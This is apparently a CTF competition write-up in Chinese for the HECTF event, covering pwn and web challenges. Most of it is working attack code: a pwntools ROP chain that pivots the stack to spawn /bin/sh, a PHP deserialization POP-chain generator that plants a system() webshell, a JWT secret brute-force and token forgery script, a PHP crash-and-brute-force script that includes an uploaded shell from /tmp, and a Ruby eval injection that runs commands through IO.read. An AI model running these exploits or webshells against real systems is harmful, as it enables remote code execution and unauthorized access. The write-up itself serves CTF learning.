115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
from pwn import *
import sys
import os
import time

# Set context
context.log_level = 'debug'
context.arch = 'amd64'

# Configuration
LOCAL_BIN = './game'
REMOTE_IP = '47.100.66.83'
REMOTE_PORT = 32156

# Load binaries (only for local process/symbols if needed)
elf = ELF(LOCAL_BIN)

# Offsets
OFFSET_PRINTF = 0x60100
OFFSET_BINSH = 0x1cb42f
OFFSET_MAP = 0x4460
OFFSET_LEAVE_RET = 0x13f4

# PIE Gadgets (from my_asm function)
OFFSET_POP_RDI = 0x12a7
OFFSET_POP_RDX = 0x12b0
OFFSET_POP_RAX = 0x12b2
OFFSET_POP_RSI = 0x12b4
OFFSET_SYSCALL = 0x12b6

def start():
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
return remote(REMOTE_IP, REMOTE_PORT)
else:
if os.path.exists(LOCAL_BIN):
try: os.chmod(LOCAL_BIN, 0o755)
except: pass
return process(LOCAL_BIN)

def exploit():
io = start()

# --- Stage 1: Leak Addresses (Libc & PIE) ---
io.recvuntil(b"option: ")
io.sendline(b"1") # Select Guess Game

# Overwrite seed with 0
# Buffer is 40 bytes from seed
payload_seed = b'A' * 40 + p32(0)
io.recvuntil(b"username (max 32 chars): ")
io.send(payload_seed)

# Win game with hardcoded numbers for seed=0
winning_numbers = [3, 6, 7, 5, 3]

for i in range(5):
val = winning_numbers[i]
io.recvuntil(f"Round {i+1}/5 - Guess the number (0-9): ".encode())
io.sendline(str(val).encode())

# Parse Leaks
io.recvuntil(b"Congratulations! You guessed all 5 numbers correctly!\n")

# Leak printf (Libc)
io.recvuntil(b"[GIFT] printf address: ")
line = io.recvline().strip()
try:
printf_leak = int(line, 16)
libc_base = printf_leak - OFFSET_PRINTF
log.success(f"Libc Base: {hex(libc_base)}")
except:
log.error("Failed to parse leaks. Check offsets.")
return

# Leak map (PIE)
io.recvuntil(b"[GIFT] map address: ")
line = io.recvline().strip()
map_addr = int(line, 16)
log.success(f"Map Address: {hex(map_addr)}")

pie_base = map_addr - OFFSET_MAP
log.success(f"PIE Base: {hex(pie_base)}")

leave_ret_addr = pie_base + OFFSET_LEAVE_RET

# Calculate Gadget Addresses (Using PIE Base)
pop_rdi_addr = pie_base + OFFSET_POP_RDI
pop_rsi_addr = pie_base + OFFSET_POP_RSI
pop_rdx_addr = pie_base + OFFSET_POP_RDX
pop_rax_addr = pie_base + OFFSET_POP_RAX
syscall_addr = pie_base + OFFSET_SYSCALL

# /bin/sh is still from Libc
binsh_addr = libc_base + OFFSET_BINSH

log.info(f"Pop RDI: {hex(pop_rdi_addr)}")
log.info(f"Pop RSI: {hex(pop_rsi_addr)}")
log.info(f"Pop RDX: {hex(pop_rdx_addr)}")
log.info(f"Pop RAX: {hex(pop_rax_addr)}")
log.info(f"Syscall: {hex(syscall_addr)}")

# --- Stage 2: Plant ROP Chain in Map ---
io.recvuntil(b"option: ")
io.sendline(b"2") # Select Pac-Man Game

# ROP Chain for execve("/bin/sh", 0, 0)
# Stack Pivot Target: map_addr + 8

rop_chain = b'DEADBEEF' # Offset 0 (Popped into RBP)

# execve("/bin/sh", 0, 0)
# syscall(59, binsh, 0, 0)

rop_chain += p64(pop_rdi_addr)
rop_chain += p64(binsh_addr)

rop_chain += p64(pop_rsi_addr)
rop_chain += p64(0)

rop_chain += p64(pop_rdx_addr)
rop_chain += p64(0)

rop_chain += p64(pop_rax_addr)
rop_chain += p64(59)

rop_chain += p64(syscall_addr)

# Pad to 0x70 bytes
rop_chain = rop_chain.ljust(0x70, b'\x00')

# Synchronization
io.recvuntil(b"win!\n")
time.sleep(0.5)

# Send ROP Chain
io.send(rop_chain)
log.info("Sent ROP chain to map")

# --- Stage 3: Stack Pivot ---
io.recvuntil(b"username (max 32 chars): ")

# Payload:
# 32 bytes buffer fill
# 8 bytes Overwrite RBP -> map_addr (target stack)
# 8 bytes Overwrite RetAddr -> leave_ret gadget

payload_pivot = b'A' * 32
payload_pivot += p64(map_addr) # New RBP
payload_pivot += p64(leave_ret_addr) # Gadget

time.sleep(0.1)
io.send(payload_pivot)
log.info("Sent Stack Pivot payload")

# Interact
io.interactive()

if __name__ == '__main__':
exploit()

hectf84.png

flag为:

1
HECTF{UY4h4GAfBFeVAwsO0ighHNkG1g25Pgce}

Web

老爷爷的金块

hectf85.png

解压得到的是

hectf86.png

这题没有一点思路开始,本来以为是一道逆向,但是从给了提示之后就开始去写这题,先将每个文件都看了一下,发现在picture中有一些flag的图片

hectf87.png

接着去查找就行了,根据提示我才去找到是第一张图片bk_flag.png中的flag

hectf88.png

flag为

1
HECTF{D0_y0u_sti11_remem3er_me_ 1_am_g01d_miner_l0ng_time_n0_see}

PHPGift

打开网址可以知道是一个日志管理系统

hectf89.png

本题是一个基于 PHP 的日志管理系统。通过对系统的侦察,发现隐藏的 PHP 文件,并通过代码审计挖掘出一条完整的反序列化利用链(POP Chain),最终实现远程代码执行(RCE)获取 Flag。

访问目标网站首页,虽然是一个普通的日志展示页面,但查看 HTML 源代码(Ctrl+U)可以发现底部有一行显眼的注释:

hectf90.png

1
<!-- hhhhhh!!!! where is xxx.php -->

同时观察页面上的日志信息,有一条来自 ser 的日志记录。结合两者线索,推测存在 ser.php 页面。接着访问 /ser.php,服务器直接返回了该文件的源代码。这是典型的“代码审计”类题目。hectf91.png

接着就是分析这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
error_reporting(0);

class FileHandler {
private $fileHandle;
private $fileName;

public function __construct($fileName = 'data.txt') {
$this->fileName = $fileName;
$this->fileHandle = fopen($fileName, 'a');
}

public function __destruct() {
if ($this->fileHandle) {
fclose($this->fileHandle);
}
echo $this->fileName;
}
}

class Config {
private $settings = [];

public function __get($key) {
return $this->settings[$key] ?? null;
}

public function __set($key, $value) {
$this->settings[$key] = strip_tags($value);
}
}

class MySessionHandler {
private $sessionId;
private $data = [];

public function __wakeup() {
$this->data = [];
$this->sessionId = uniqid('sess_', true);
}
}

class User {
private $userData = [];
public $data;
public $params;

public function __set($name, $value) {
$this->userData[$name] = $value;
}

public function __get($name) {
return $this->userData[$name] ?? null;
}

public function __toString() {
if (is_string($this->params) && is_array($this->data) && count($this->data) === 2) {
call_user_func($this->data, $this->params);
}
return "User";
}
}

class CacheManager {
private $cacheDir;
private $ttl;

public function __construct($dir = '/tmp/cache', $ttl = 3600) {
$this->cacheDir = $dir;
$this->ttl = $ttl;
}

public function __destruct() {
error_log("[Cache] Destroyed manager for {$this->cacheDir}");
}
}

class Logger {
private $logFile;

public function __construct($logFile = 'app.log') {
$this->logFile = $logFile;
}

public function setLogFile($file) {
$this->logFile = $file;
}

private function log($message) {
file_put_contents($this->logFile, $message . PHP_EOL, FILE_APPEND);
}

public function __invoke($msg) {
$this->log($msg);
}
}

class UserProfile {
public $name;
public $email;

public function __toString() {
return "User: {$this->name} ({$this->email})";
echo $this->name;
echo $this->email;
}
}

class MathHelper {
private $factor = 1;

public function __invoke($x) {
return $x * $this->factor;
}
}


if (isset($_GET['data'])) {
$input = $_GET['data'];
if (preg_match('/bash|sh|exec|system|passthru|`|eval|assert/i', $input)) {
die("Hacker?\n");
}
@unserialize(base64_decode($input));
echo "Done.\n";
} else {
highlight_file(__FILE__);
}

通过阅读 ser.php 源码,我们识别出以下关键类及其潜在利用点:

  1. FileHandler

    • __destruct(): 对象销毁时被调用。它会执行 echo $this->fileName;。如果 $this->fileName 是一个对象,这将触发该对象的 __toString() 方法。这是我们 POP 链的起点
  2. User

    • __toString(): 当对象被当作字符串处理时调用。核心逻辑如下:
      1
      2
      3
      if (is_string($this->params) && is_array($this->data) && count($this->data) === 2) {
      call_user_func($this->data, $this->params);
      }
      call_user_func 是一个极其危险的函数。如果我们能控制 $this->data$this->params,就能执行任意代码或调用任意方法。
  3. Logger

    • __invoke($msg): 当对象被当作函数调用时触发。它内部调用了 log($msg)
    • log($message): 执行 file_put_contents($this->logFile, $message . PHP_EOL, FILE_APPEND);。这是我们 POP 链的终点(Sink),可以用来写文件。

接着就是构造 POP 链 (Property Oriented Programming)

我们的目标是利用 Logger 写一个 Webshell。

利用逻辑倒推:

  1. 目的:执行 Logger::log() 写入 Webshell。
  2. 触发点Logger::__invoke() 会调用 log()
  3. 跳板User::__toString() 中的 call_user_func($this->data, $this->params)
    • 如果我们将 $this->data 设置为数组 [$loggerObject, '__invoke'],那么 call_user_func 就会执行 $loggerObject->__invoke($this->params)
    • 此时 $this->params 就是我们要写入的内容(Webshell)。
  4. 入口FileHandler::__destruct() 中的 echo $this->fileName
    • FileHandler$fileName 属性设置为我们构造好的 User 对象。
    • FileHandler 销毁时,尝试输出 User 对象,从而触发 User::__toString()

完整的攻击链:
FileHandler::__destruct() -> User::__toString() -> call_user_func() -> Logger::__invoke() -> file_put_contents()

exp如下:

我们需要构造一段序列化数据,并进行 Base64 编码。注意 private 属性在序列化时会有不可见字符 \x00,建议使用脚本生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64

def generate_payload():
# 辅助函数:生成序列化字符串
def s_str(s): return f's:{len(s)}:"{s}";'
def s_obj(name, props):
res = f'O:{len(name)}:"{name}":{len(props)}:{{'
for k, v in props: res += s_str(k) + v
res += '}'
return res

# 1. 构造 Logger 对象 (用于写文件)
# private 属性名为 "\x00ClassName\x00PropName"
logger_props = [
('\x00Logger\x00logFile', s_str('shell.php'))
]
logger_ser = s_obj('Logger', logger_props)

# 2. 构造 User 对象 (作为跳板)
# data 为数组 [$logger, "__invoke"]
user_data = f'a:2:{{i:0;{logger_ser}i:1;s:8:"__invoke";}}'
webshell = '<?php system($_REQUEST[c]);?>'

user_props = [
('data', user_data),
('params', s_str(webshell))
]
user_ser = s_obj('User', user_props)

# 3. 构造 FileHandler 对象 (触发入口)
# fileName 指向 User 对象
fh_props = [
('\x00FileHandler\x00fileHandle', 'N;'), # null
('\x00FileHandler\x00fileName', user_ser)
]
final_payload = s_obj('FileHandler', fh_props)

return base64.b64encode(final_payload.encode('latin1')).decode()

if __name__ == '__main__':
print(generate_payload())

将生成的 Base64 Payload 通过 GET 请求发送:
GET /ser.php?data=<Payload>

服务器会先进行 Base64 解码,然后反序列化,最终在当前目录生成 shell.php

  1. 验证 Shell
    访问 /shell.php?c=ls,确认文件存在且命令执行成功。

  2. 搜索 Flag
    执行 find . -name "*flag*" 或直接 ls -R
    发现子目录 php/ 下存在 fffffllllaaagg.php

  3. 读取 Flag
    访问 /shell.php?c=cat php/fffffllllaaagg.php
    得到一串 Base64 编码的字符串。

  4. 解码
    SEVDVEZ7... 解码后得到最终 Flag:

    1
    HECTF{c0ngr4ts_l1ttl3_h4ck3r_y0u_f0und_my_53cr3t_g1ft}

像素勇者和神秘宝藏

打开题目链接,展现的是一个像素风格的游戏页面。页面主要有三个交互点:

  • Door A:点击后提示“勇气不足”,需要 10000 点勇气,而初始只有 0。
  • Door B:点击后提示需要 VIP。
  • Door C:点击后提示缺少“神圣令牌”。
  • 购买药水:增加微量勇气值,显然靠点击购买达到 10000 点是不现实的。

hectf92.png

接着查看页面源代码,

hectf93.png

发现 enter('A') 函数中存在一段客户端校验逻辑

1
2
3
4
5
6
7
if (door === 'A') {
if (courage < 10000) {
alert("⚠️ 勇气不足!需要至少 10000 点才能挑战 Door A!");
return;
}
// ...
}

这种在浏览器端进行的校验是非常不安全的。我们可以直接构造 HTTP 请求发送给后端,绕过这个 if 判断。发送 POST 请求,参数设为 door=A&courage=10000。响应结果为:{"msg": "门开了!但宝藏不在这里……"}。看来 Door A 只是一个幌子接着尝试 Door C,返回 {"msg": "缺少神圣令牌!"}。在页面 HTML 底部,我发现了一段有趣的注释:

hectf101.png

这段对话反复强调了 “HECTF” 以及 “大写还是小写”,这极有可能是一个关于弱口令密钥的提示。

同时,我注意到页面还有一个 /login 接口(在“重新登录”按钮中)。访问该接口后,服务器返回了一个 Set-Cookie 头,包含了一个 JWT (JSON Web Token):
token=eyJhbGciOiJIUzI1NiIsIn...

将这个 Token 在 jwt.io 中解码,得到 Payload:

1
2
3
4
5
{
"user": "player",
"blessed": false,
"exp": 1766217930
}

这里的 blessed: false 非常可疑。结合 Door C 提示的“缺少神圣令牌”,我推测如果能将 blessed 改为 true,应该就能通过校验。要修改 JWT 的内容,我们需要知道签名的密钥(Secret Key)。结合之前的提示,密钥很可能是字符串 “HECTF” 的某种大小写组合(例如 Hectf, heCTF 等)。

可以写一个 Python 脚本来自动化这个过程:

  1. 生成 “HECTF” 的所有大小写组合。
  2. 遍历这些组合作为密钥,尝试签名一个新的 JWT(blessed: true)。
  3. 将伪造的 JWT 发送给 /enter 接口(Door C)。
  4. 如果服务器返回成功消息,则说明密钥正确且 Flag 获取成功。

EXP 脚本 (solve.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import itertools
import jwt

# 题目 URL
BASE_URL = 'http://8.153.93.57:32312'
ENTER_URL = f'{BASE_URL}/enter'

print("\n[*] 开始爆破 JWT 密钥并尝试获取 Flag...")

# 目标字符,根据 HTML 注释提示 "HECTF" 大小写
chars = 'HECTF'
# 生成所有大小写组合 (2^5 = 32 种可能)
combinations = map(''.join, itertools.product(*zip(chars.upper(), chars.lower())))

found = False
for secret in combinations:
# 构造伪造的 Payload,将 blessed 改为 True
payload = {'user': 'player', 'blessed': True}

# 使用猜测的密钥进行 HS256 签名
token = jwt.encode(payload, secret, algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')

# 设置 Cookie
cookies = {'role': 'vip', 'token': token}
data = {'door': 'C', 'courage': 10000}

try:
# 发送请求
r = requests.post(ENTER_URL, data=data, cookies=cookies)
resp = r.json()
msg = resp.get('msg', '')

# 如果没有提示“无效”或“缺少”,说明成功
if '无效' not in msg and '缺少' not in msg:
print(f"[+] 爆破成功!密钥为: {secret}")
print(f"[+] 伪造 Token: {token[:20]}...")
print(f"[+] 服务器响应: {resp}")
if 'flag' in resp:
print(f"\n[★] FLAG: {resp['flag']}")
found = True
break

except Exception as e:
print(f"[!] 错误: {e}")

if not found:
print("[-] 爆破失败,未找到正确密钥。")

运行上述脚本,秒破密钥并拿到 Flag。

hectf94.png

flag为:

1
HECTF{pix3l_h3r0_4lw4ys_wan34ts_t1o_enter111_d00rs_and_FInd_tr2asures!}

ez_include

先查看一下题目:

hectf95.png

接着就是要进行代码审计,通过审计可以知道可以利用 include($file) 执行任意代码。但是代码中有三个主要的阻碍:

  1. 路径限制 (isAllowedFile 函数):
    • 它强制 include 的文件必须在 /tmp/ 目录下,或者只能是 index.php
    • 它特别允许了 php://filter/string.strip_tags/resource= 这个 wrapper,只要资源路径最终解析到 /tmp/index.php
  2. 临时文件机制:
    • 通常我们利用 LFI 时,会配合文件上传。当我们向 PHP 发送 POST 请求上传文件时,PHP 会在 /tmp 下生成一个随机命名的临时文件(例如 /tmp/phpXXXXXX)。
    • 难点: 这个临时文件在 PHP 脚本执行完毕后会被立即删除。我们需要在这个短暂的时间窗口内包含它(条件竞争),或者想办法让它留下来。
  3. 信息泄露 (?file=tmp):
    • 代码提供了一个后门 if ($file === 'tmp'),它会扫描 /tmp 目录下的 php 文件。
    • 限制: 它只输出文件名的 后4位字符
    • PHP 的默认临时文件名格式通常是 php + 6个随机字符 (例如 phpAbCdEf)。如果只给我们后4位 (CdEf),我们还缺前2位。

思路:LFI + Segmentation Fault (崩溃残留)

在这个题目中,单纯的条件竞争很难成功,因为我们不知道临时文件的名字。我们需要利用 PHP 崩溃 来让临时文件永久驻留在 /tmp 中。

利用 php://filter/string.strip_tags 造成崩溃

string.strip_tags 在处理某些特定数据或在旧版本 PHP 中配合文件上传使用时,已知会导致 PHP 进程发生 Segmentation Fault (段错误)。

  1. 制造崩溃并上传 Payload:
    • 构造一个 multipart/form-data 的 POST 请求。
    • 上传一个包含恶意代码(<?php system('cat /flag'); ?>)的文件。
    • 同时,将 GET 参数设置为 ?file=php://filter/string.strip_tags/resource=index.php
      • 为什么是 index.php? 因为 isAllowedFile 检查要求资源必须是 /tmp 下的文件或 index.php
      • 为什么会崩溃? 当 PHP 试图处理上传文件的流并同时对 index.php 进行 strip_tags 过滤时,这容易触发底层 Crash。
    • 结果: PHP 进程崩溃 -> 脚本异常终止 -> 垃圾回收机制失效 -> 上传的临时文件(/tmp/phpXXXXXX)没有被删除,留在了磁盘上。
  2. 获取部分文件名:
    • 访问 ?file=tmp
    • 服务器会返回 /tmp 下残留文件的后4位字符(假设返回 ZaB1)。
  3. 爆破剩余文件名:
    • 完整格式是 php + ?? + ZaB1
    • 缺失的只有 2 位字符。
    • 字符集通常是 a-z, A-Z, 0-9 (共62个)。
    • 爆破次数 = $62 \times 62 = 3844$ 次。这对于脚本来说是秒级的。
    • 构造 Payload: ?file=/tmp/phpXXZaB1 进行包含。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import requests
import string
import itertools
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

# ================= 配置 =================
URL = "http://47.100.66.83:32336/"
CHARSET = string.ascii_letters + string.digits
# =======================================

def upload_and_crash():
"""上传 Shell 并尝试触发崩溃"""
# 关键:加上特定的特征字符串 'RCE_SUCCESS' 方便验证
shell_content = "<?php echo 'RCE_SUCCESS'; system('ls /'); ?>"
files = {'file': ('pwn.php', shell_content, 'application/octet-stream')}
# 使用 strip_tags 触发崩溃
target = f"{URL}?file=php://filter/string.strip_tags/resource=index.php"
try:
requests.post(target, files=files, timeout=1)
except:
pass # 崩溃是预期的

def get_temp_files():
"""获取当前 /tmp 下的文件后缀列表"""
try:
r = requests.get(f"{URL}?file=tmp", timeout=3)
# 简单解析:题目输出的是连续的后缀,或者每行一个
# 这里假设输出包含了文件名后缀
text = r.text
# 提取最后4位作为候选(如果有多个文件,逻辑可能需要调整,但通常残留不多)
if len(text) >= 4 and "html" not in text:
# 粗暴提取最后4位有效字符
return [text.strip()[-4:]]
except:
pass
return []

def check_one(prefix, suffix):
"""验证单个文件名"""
filename = f"php{prefix}{suffix}"
try:
# 请求该文件
r = requests.get(f"{URL}?file=/tmp/{filename}", timeout=2)
if "RCE_SUCCESS" in r.text:
return (True, filename, r.text)
except:
pass
return (False, filename, "")

def brute_force(suffix):
"""多线程爆破指定后缀"""
print(f"\n[+] 发现后缀: {suffix},开始爆破 (3844次)...")
combinations = [''.join(i) for i in itertools.product(CHARSET, repeat=2)]

with ThreadPoolExecutor(max_workers=100) as executor:
future_to_c = {executor.submit(check_one, c, suffix): c for c in combinations}

for future in as_completed(future_to_c):
success, fname, content = future.result()
if success:
print(f"\n[★] 成功找到文件: {fname}")
print("[★] 执行结果:\n")
print(content)
return True
return False

def main():
print("[*] 启动全自动攻击脚本...")
print("[*] 正在循环:上传 -> 崩溃 -> 检查残留 -> 爆破")

# 记录已经尝试过的后缀,避免重复爆破同一个空文件
processed_suffixes = set()

while True:
# 1. 尝试制造崩溃
upload_and_crash()

# 2. 检查有没有产生文件
suffixes = get_temp_files()

for suff in suffixes:
if suff and suff not in processed_suffixes:
# 3. 如果有新后缀,开始爆破
if brute_force(suff):
print("\n[!!!] 攻击完成,脚本退出。")
return
else:
print(f"[-] 后缀 {suff} 爆破失败 (可能是空文件),加入黑名单继续尝试...")
processed_suffixes.add(suff)

if __name__ == "__main__":
main()

hectf96.png

接着就是获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import requests
import string
import itertools
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

# ================= 配置 =================
URL = "http://47.100.66.83:32336/"
CHARSET = string.ascii_letters + string.digits
# =======================================

def upload_and_crash():
"""上传 Shell 并尝试触发崩溃"""
# 关键:加上特定的特征字符串 'RCE_SUCCESS' 方便验证
shell_content = "<?php echo 'RCE_SUCCESS'; system('cat /ffffffflllllaaaaaagggggg'); ?>"
files = {'file': ('pwn.php', shell_content, 'application/octet-stream')}
# 使用 strip_tags 触发崩溃
target = f"{URL}?file=php://filter/string.strip_tags/resource=index.php"
try:
requests.post(target, files=files, timeout=1)
except:
pass # 崩溃是预期的

def get_temp_files():
"""获取当前 /tmp 下的文件后缀列表"""
try:
r = requests.get(f"{URL}?file=tmp", timeout=3)
# 简单解析:题目输出的是连续的后缀,或者每行一个
# 这里假设输出包含了文件名后缀
text = r.text
# 提取最后4位作为候选(如果有多个文件,逻辑可能需要调整,但通常残留不多)
if len(text) >= 4 and "html" not in text:
# 粗暴提取最后4位有效字符
return [text.strip()[-4:]]
except:
pass
return []

def check_one(prefix, suffix):
"""验证单个文件名"""
filename = f"php{prefix}{suffix}"
try:
# 请求该文件
r = requests.get(f"{URL}?file=/tmp/{filename}", timeout=2)
if "RCE_SUCCESS" in r.text:
return (True, filename, r.text)
except:
pass
return (False, filename, "")

def brute_force(suffix):
"""多线程爆破指定后缀"""
print(f"\n[+] 发现后缀: {suffix},开始爆破 (3844次)...")
combinations = [''.join(i) for i in itertools.product(CHARSET, repeat=2)]

with ThreadPoolExecutor(max_workers=100) as executor:
future_to_c = {executor.submit(check_one, c, suffix): c for c in combinations}

for future in as_completed(future_to_c):
success, fname, content = future.result()
if success:
print(f"\n[★] 成功找到文件: {fname}")
print("[★] 执行结果:\n")
print(content)
return True
return False

def main():
print("[*] 启动全自动攻击脚本...")
print("[*] 正在循环:上传 -> 崩溃 -> 检查残留 -> 爆破")

# 记录已经尝试过的后缀,避免重复爆破同一个空文件
processed_suffixes = set()

while True:
# 1. 尝试制造崩溃
upload_and_crash()

# 2. 检查有没有产生文件
suffixes = get_temp_files()

for suff in suffixes:
if suff and suff not in processed_suffixes:
# 3. 如果有新后缀,开始爆破
if brute_force(suff):
print("\n[!!!] 攻击完成,脚本退出。")
return
else:
print(f"[-] 后缀 {suff} 爆破失败 (可能是空文件),加入黑名单继续尝试...")
processed_suffixes.add(suff)

if __name__ == "__main__":
main()

hectf97.png

flag为

1
HECTF{7433622bfc2c0-b0c6bb7183d03e2-b6b7c23328560}

红宝石的恶作剧

访问目标网站 http://8.153.93.57:30863,发现是一个简单的页面,标题为 SSTI。页面包含一个输入框,提示 “input here”。

hectf98.png

输入任意内容提交,发现输入的内容会回显在页面上,格式为 Hello, <input>!。这提示我们可能存在服务端模板注入 (SSTI) 漏洞。尝试输入 {{ 7*7 }}<%= 7*7 %> 等常见模板注入 Payload,服务器返回 500 Internal Server Error。这表明可能存在严格的过滤或语法错误。

hectf99.png

为了搞清楚后端过滤了哪些字符,我们编写脚本对 ASCII 可打印字符进行 Fuzzing。

测试结果如下:

  • 导致 500 错误 (SyntaxError): 绝大多数特殊字符,包括 !, ", #, $, %, &, ', (, ), *, +, ,, -, /, :, <, =, >, ?, @, [, \, ], ^, ``, {, |, }, ~。这意味着我们无法使用引号字符串、括号调用方法、或常见的运算符。
  • 导致应用 Error (NameError): 绝大多数大小写字母 a-z, A-Z。这说明输入的字符串被当作 Ruby 代码执行(eval),而这些字母被解析为未定义的变量或方法。
  • 允许字符:
    • 数字: 0-9
    • 符号: . (点号), ; (分号), 空格
    • 特定变量/方法: j, p (Ruby 内置方法), 以及 Web 框架上下文中的对象如 params, request, env
    • Ruby 核心类: IO, File 等(只要不包含被禁用的字母)。

由于引号 (') 和括号 (()) 被禁用,我们无法直接构造字符串(如 'ls')或调用带参数的方法(如 system('ls'))。

  1. 获取字符串: 利用 params 对象。params 是 Sinatra 中存储请求参数的 Hash。我们可以通过 URL 传递额外的参数,然后在注入点引用它们。
  2. 执行命令: Ruby 的 IO.read 方法有一个特性,如果文件名以 | 开头,它将作为子进程命令执行。或者使用反引号(但反引号被过滤)。

我们构造如下利用链:

  1. 利用 params 传递 Payload:
    在 URL 中添加一个额外的参数 &cmd=|cat /flag
    在 Ruby 中,params 对象包含了所有 GET/POST 参数。由于 Hash 的无序性(但在某些版本或实现中可能保留顺序),或者我们可以通过 params.values 获取所有值的数组。

    测试发现 params 包含 {"name"=>"...", "cmd"=>"..."}
    我们可以通过 params.values.last 获取到 cmd 的值(即 |cat /flag)。

  2. 利用 IO.read 执行命令:
    Ruby 的 IO.read(path) 方法,当 path 以管道符 | 开头时,会执行后续的命令并读取输出。

    Payload 构造:

    • name 参数注入点: IO.read params.values.last
    • cmd 参数 (Payload): |cat /flag

    这样,后端执行的代码类似于:

    1
    2
    3
    eval("IO.read params.values.last")
    # 等价于
    IO.read("|cat /flag")

最终 Payload

1
http://47.100.66.83:31213/?name=IO.read%20params.values.last&cmd=|cat%20/flag

hectf100.png

执行上述 Payload 后,服务器回显:

1
HECTF{1bffdda743011e-9bd222f75db7c01-9a152b72e1b1eba}